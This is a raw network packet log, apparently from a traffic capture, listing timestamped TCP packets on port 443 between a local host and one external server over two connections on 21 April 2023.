Apr 21, 2023 01:03:01.045519114 CEST	443	49683	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.045566082 CEST	49683	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.045576096 CEST	443	49683	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.045625925 CEST	49683	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.046250105 CEST	443	49683	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.046302080 CEST	443	49683	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.046334028 CEST	49683	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.046344042 CEST	443	49683	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.046376944 CEST	49683	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.046391010 CEST	49683	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.047228098 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.050872087 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.056334019 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.056369066 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.056459904 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.056487083 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.056519985 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.056565046 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.056610107 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.056653976 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.056672096 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.056703091 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.057049990 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.057109118 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.057145119 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.057163954 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.057192087 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.057617903 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.057651997 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.057719946 CEST	443	49683	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.057727098 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.057746887 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.057769060 CEST	443	49683	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.057776928 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.057837009 CEST	49683	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.057858944 CEST	443	49683	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.057878017 CEST	49683	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.057919979 CEST	49683	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.058115005 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.058168888 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.058213949 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.058232069 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.058255911 CEST	443	49683	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.058260918 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.058304071 CEST	443	49683	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.058346987 CEST	49683	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.058357954 CEST	443	49683	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.058378935 CEST	49683	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.058429003 CEST	49683	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.058500051 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.058535099 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.058585882 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.058604956 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.058620930 CEST	443	49683	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.058634996 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.058664083 CEST	443	49683	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.058696032 CEST	49683	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.058706999 CEST	443	49683	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.058725119 CEST	49683	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.058756113 CEST	49683	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.059101105 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.059125900 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.059209108 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.059221983 CEST	443	49683	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.059240103 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.059264898 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.059269905 CEST	443	49683	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.059315920 CEST	49683	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.059325933 CEST	443	49683	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.059345961 CEST	49683	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.059376955 CEST	49683	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.059758902 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.059793949 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.059855938 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.059876919 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.059906960 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.060101032 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.060127974 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.060185909 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.060211897 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.060235977 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.060405970 CEST	443	49683	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.060456991 CEST	443	49683	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.060489893 CEST	49683	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.060506105 CEST	443	49683	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.060528040 CEST	49683	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.060554981 CEST	49683	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.060692072 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.060726881 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.060765028 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.060786009 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.060815096 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.061156034 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.061183929 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.061244011 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.061260939 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.061290979 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.061314106 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.061353922 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.061395884 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.061414957 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.061443090 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.061484098 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.061511040 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.061559916 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.061584949 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.061605930 CEST	443	49683	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.061609983 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.061655045 CEST	443	49683	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.061701059 CEST	49683	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.061717987 CEST	443	49683	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.061743975 CEST	49683	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.061763048 CEST	49683	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.062186003 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.062222958 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.062342882 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.062362909 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.062506914 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.062532902 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.062777042 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.062810898 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.063047886 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.063199043 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.063268900 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.063388109 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.063435078 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.063738108 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.063766003 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.063884020 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.063904047 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.063973904 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.064016104 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.064100981 CEST	443	49683	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.064148903 CEST	443	49683	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.064273119 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.064290047 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.064342976 CEST	49683	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.064368010 CEST	443	49683	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.064393997 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.064413071 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.064426899 CEST	49683	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.064435959 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.064491034 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.064508915 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.064537048 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.064728975 CEST	443	49683	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.064778090 CEST	443	49683	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.064929008 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.064939976 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.064944983 CEST	49683	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.064956903 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.064963102 CEST	443	49683	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.064970970 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.065113068 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.065157890 CEST	49683	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.065216064 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.065237045 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.065349102 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.065365076 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.065454960 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.065488100 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.065735102 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.065756083 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.065867901 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.065886974 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.065988064 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.066015005 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.066313028 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.066332102 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.066459894 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.066478968 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.066596031 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.066622019 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.066787958 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.066806078 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.066889048 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.066915989 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.066941023 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.067181110 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.067207098 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.067509890 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.067528009 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.067574024 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.067593098 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.067728996 CEST	443	49683	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.067774057 CEST	443	49683	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.068000078 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.068001032 CEST	49683	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.068003893 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.068017960 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.068023920 CEST	443	49683	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.068084955 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.068123102 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.068144083 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.068149090 CEST	49683	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.068173885 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.068324089 CEST	443	49683	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.068372965 CEST	443	49683	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.068483114 CEST	49683	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.068485975 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.068486929 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.068500042 CEST	443	49683	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.068500996 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.068559885 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.068792105 CEST	443	49683	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.068851948 CEST	443	49683	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.069123983 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.069140911 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.069163084 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.069190979 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.069201946 CEST	49683	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.069211006 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.069216967 CEST	443	49683	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.069236040 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.069266081 CEST	443	49683	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.069267988 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.069268942 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.069298029 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.069309950 CEST	443	49683	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.069310904 CEST	49683	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.069334030 CEST	49683	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.069335938 CEST	443	49683	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.069380045 CEST	49683	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.069401026 CEST	49683	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.069504976 CEST	443	49683	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.069562912 CEST	443	49683	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.069608927 CEST	49683	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.069608927 CEST	49683	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.069628000 CEST	443	49683	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.069653988 CEST	49683	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.069691896 CEST	49683	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.069731951 CEST	443	49683	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.069775105 CEST	443	49683	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.069807053 CEST	49683	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.069819927 CEST	443	49683	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.069843054 CEST	49683	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.069878101 CEST	49683	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.069924116 CEST	443	49683	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.069967985 CEST	443	49683	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.070007086 CEST	49683	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.070019960 CEST	443	49683	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.070070028 CEST	49683	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.070070028 CEST	49683	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.070178032 CEST	49683	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.070231915 CEST	443	49683	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.070275068 CEST	443	49683	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.070312023 CEST	49683	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.070324898 CEST	443	49683	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.070353031 CEST	49683	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.070372105 CEST	49683	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.070511103 CEST	49683	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.093525887 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.093615055 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.093657017 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.093725920 CEST	443	49683	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.093751907 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.093751907 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.093751907 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.093822002 CEST	443	49683	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.093871117 CEST	49683	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.093908072 CEST	443	49683	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.093936920 CEST	49683	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.093936920 CEST	49683	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.093964100 CEST	49683	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.094115019 CEST	443	49683	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.094160080 CEST	443	49683	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.094202995 CEST	49683	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.094218969 CEST	443	49683	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.094244957 CEST	49683	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.094261885 CEST	49683	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.094321966 CEST	443	49683	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.094362020 CEST	443	49683	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.094392061 CEST	49683	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.094409943 CEST	443	49683	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.094439983 CEST	49683	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.094455957 CEST	49683	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.094511032 CEST	443	49683	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.094551086 CEST	443	49683	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.094602108 CEST	49683	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.094621897 CEST	443	49683	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.094650984 CEST	49683	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.094671965 CEST	49683	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.094679117 CEST	443	49683	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.094705105 CEST	443	49683	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.094750881 CEST	443	49683	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.094762087 CEST	49683	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.094784021 CEST	49683	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.094799995 CEST	443	49683	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.094825983 CEST	49683	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.094825983 CEST	49683	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.094846010 CEST	49683	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.094913960 CEST	443	49683	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.094958067 CEST	443	49683	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.094995975 CEST	49683	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.095010042 CEST	443	49683	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.095033884 CEST	49683	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.095072985 CEST	49683	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.095149040 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.095726967 CEST	443	49683	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.095772028 CEST	443	49683	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.095818996 CEST	49683	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.095834970 CEST	443	49683	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.095873117 CEST	49683	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.095900059 CEST	49683	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.097014904 CEST	443	49683	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.097062111 CEST	443	49683	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.097100019 CEST	49683	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.097111940 CEST	443	49683	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.097131968 CEST	49683	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.097165108 CEST	49683	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.097382069 CEST	443	49683	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.097429037 CEST	443	49683	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.097460985 CEST	49683	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.097470999 CEST	443	49683	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.097505093 CEST	49683	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.097517967 CEST	49683	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.097801924 CEST	443	49683	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.097845078 CEST	443	49683	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.097883940 CEST	49683	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.097893000 CEST	443	49683	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.097929955 CEST	49683	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.097946882 CEST	49683	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.098236084 CEST	443	49683	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.098295927 CEST	443	49683	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.098335981 CEST	49683	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.098350048 CEST	443	49683	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.098368883 CEST	49683	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.098402977 CEST	49683	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.099140882 CEST	443	49683	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.099188089 CEST	443	49683	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.099244118 CEST	49683	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.099261045 CEST	443	49683	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.099280119 CEST	49683	443	192.168.2.3	144.76.136.153
